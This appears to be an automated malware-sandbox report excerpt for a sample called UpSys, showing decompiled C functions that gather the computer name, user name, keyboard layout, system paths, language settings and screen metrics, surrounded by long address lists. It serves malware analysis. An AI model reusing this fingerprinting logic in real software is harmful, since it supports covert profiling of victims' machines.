                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 0ffd1e7503461bb83a25b0aee18016ff74855efb17d08678e372f79ef17a629a
                                                                                                                                                                                                        • Instruction ID: 928ac44d76310681624f78279bdbbe4999bfd01cbfb973daf20b85e600751bfb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0ffd1e7503461bb83a25b0aee18016ff74855efb17d08678e372f79ef17a629a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 39C0123260869081E7355755B059B5F2290F74D344F501115638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084B28 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084B28(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t162;
				intOrPtr _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				signed long long _t168;
				signed int* _t169;
				signed int* _t170;
				void* _t226;
				intOrPtr _t236;
				int* _t258;
				void* _t260;

				_t255 = __rsi;
				_t169 = __rbx;
				 *(_t260 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t162 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t162 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t260 + 0x48)) = __r14;
				 *((long long*)(_t260 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t162 + 0x3e)) - r14b, _t260 + 0x48);
				 *_t162();
				E0000000114003DF10(_t260 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t258, __rsi);
				 *_t258 = r14d;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 6;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 3;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 9;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 5;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 0xa;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 2;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 7;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 8;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 0x40;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 0x41;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 0x42;
				E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = 0x43;
				E00000001140042150(_t169[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t163 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t163 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t226 =  ==  ? L"X86" : L"X64";
				_t164 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t164 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t164 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t164 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t164 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t164 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t164 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t155 =  *((intOrPtr*)(_t164 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t164 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t165 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t165 + 8));
				_t236 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t165, _t169, _t258, _t236 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t260 + 0x20)) = _t260 + 0xa0;
				E00000001140015DE0(_t169, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t260 + 0x20)) = _t260 + 0xa0;
				E00000001140015DE0(_t169, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t260 + 0x628) =  *(_t260 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t260 + 0xa0) & 0x0000ffff, _t155, _t260 + 0xa0, _t169, _t260 + 0xa0, _t255);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t260 + 0x3c0, L"1, 0, 0, 0"), _t260 + 0x3c0) <= 0) goto 0x40084f9c;
				_t170 = _t260 + 0x3c0;
				_t92 =  *(_t260 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t170 = 0x2e;
				goto 0x40084f7f;
				 *_t170 = _t92;
				_t169 =  &(_t170[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t260 + 0x3c0) < 0) goto 0x40084f63;
				_t168 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t260 + 0x3c0 + _t168 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t168, _t169, _t260 + 0x60, _t255, _t258, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t169, _t258, _t168);
				_t258[2] = r12d;
				 *_t258 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t255 = _t168;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t168, _t260 + 0xa0);
				 *(_t260 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L4;
				_t112 = E00000001140007A40(_t169, _t258, _t255);
				 *_t258 = r12d;
				_t258[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t169, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084b28
                                                                                                                                                                                                        0x140084b28
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: cd3b01ef9c6bca14fe5cb5f2c92f49ff98f9c4318cca449b7a61f38460f2c5ed
                                                                                                                                                                                                        • Instruction ID: 7bafd8d6239e716e266ffe011aa86b713ba66226339c8c9bf0bf762db2bdf835
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cd3b01ef9c6bca14fe5cb5f2c92f49ff98f9c4318cca449b7a61f38460f2c5ed
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B4C01232608690C1E7355755B055B5F2290F74D344F501115A38E07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084A9E Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 39%
                                                                                                                                                                                                        			E00000001140084A9E(void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t85;
				signed int _t94;
				long _t96;
				int _t104;
				intOrPtr _t113;
				void* _t114;
				intOrPtr _t118;
				signed int _t124;
				long long* _t180;
				intOrPtr _t181;
				intOrPtr _t182;
				intOrPtr _t183;
				signed long long _t186;
				signed int* _t187;
				signed int* _t188;
				void* _t244;
				intOrPtr _t254;
				int* _t276;
				void* _t278;

				_t273 = __rsi;
				_t187 = __rbx;
				r9d = 0;
				r8d = 0;
				 *((long long*)(_t278 + 0x20)) = _t278 + 0xa0;
				__imp__SHGetFolderPathW(); // executed
				 *(_t278 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t180 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t180 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t278 + 0x48)) = __r14;
				 *((long long*)(_t278 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t180 + 0x3e)) - r14b, _t278 + 0x48);
				 *_t180();
				E0000000114003DF10(_t278 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t276, __rsi);
				 *_t276 = r14d;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 6;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 3;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 9;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 5;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 0xa;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 2;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 7;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 8;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 0x40;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 0x41;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 0x42;
				E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = 0x43;
				E00000001140042150(_t187[0x70], 0x400c7ef0);
				_t85 = GetCurrentDirectoryW();
				_t181 =  *0x400c88a8; // 0x3263d10
				_t124 =  *(_t181 + 0x40) & 0x0000ffff;
				if (_t124 == r14d) goto 0x40084d88;
				if (_t124 == 6) goto 0x40084d7c;
				if (_t124 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t85);
				_t244 =  ==  ? L"X86" : L"X64";
				_t182 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t182 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t182 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t182 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t182 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t182 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t182 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t172 =  *((intOrPtr*)(_t182 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t182 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t183 =  *0x400c88a8; // 0x3263d10
				_t118 =  *((intOrPtr*)(_t183 + 8));
				_t254 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t183, _t187, _t276, _t254 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t278 + 0x20)) = _t278 + 0xa0;
				E00000001140015DE0(_t187, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t278 + 0x20)) = _t278 + 0xa0;
				E00000001140015DE0(_t187, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t278 + 0x628) =  *(_t278 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t278 + 0xa0) & 0x0000ffff, _t172, _t278 + 0xa0, _t187, _t278 + 0xa0, _t273);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t278 + 0x3c0, L"1, 0, 0, 0"), _t278 + 0x3c0) <= 0) goto 0x40084f9c;
				_t188 = _t278 + 0x3c0;
				_t94 =  *(_t278 + 0x3c0) & 0x0000ffff;
				if (_t94 == 0x20) goto 0x40084f83;
				if (_t94 != 0x2c) goto 0x40084f7c;
				 *_t188 = 0x2e;
				goto 0x40084f7f;
				 *_t188 = _t94;
				_t187 =  &(_t188[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t94, _t278 + 0x3c0) < 0) goto 0x40084f63;
				_t186 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t278 + 0x3c0 + _t186 * 2)) = r14w;
				r8d = 0x104;
				_t96 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t96, _t118, r12d, 0x2e, __ebp, _t186, _t187, _t278 + 0x60, _t273, _t276, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t104 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t187, _t276, _t186);
				_t276[2] = r12d;
				 *_t276 = _t104;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t273 = _t186;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t186, _t278 + 0xa0);
				 *(_t278 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t113 =  *0x400c5f48; // 0x4
				if (_t113 == 3) goto 0x40085116;
				if (_t113 != 4) goto L19;
				_t114 = E00000001140007A40(_t187, _t276, _t273);
				 *_t276 = r12d;
				_t276[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t114, _t187, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084a9e
                                                                                                                                                                                                        0x140084a9e
                                                                                                                                                                                                        0x140084aab
                                                                                                                                                                                                        0x140084aae
                                                                                                                                                                                                        0x140084ab3
                                                                                                                                                                                                        0x140084ab8
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
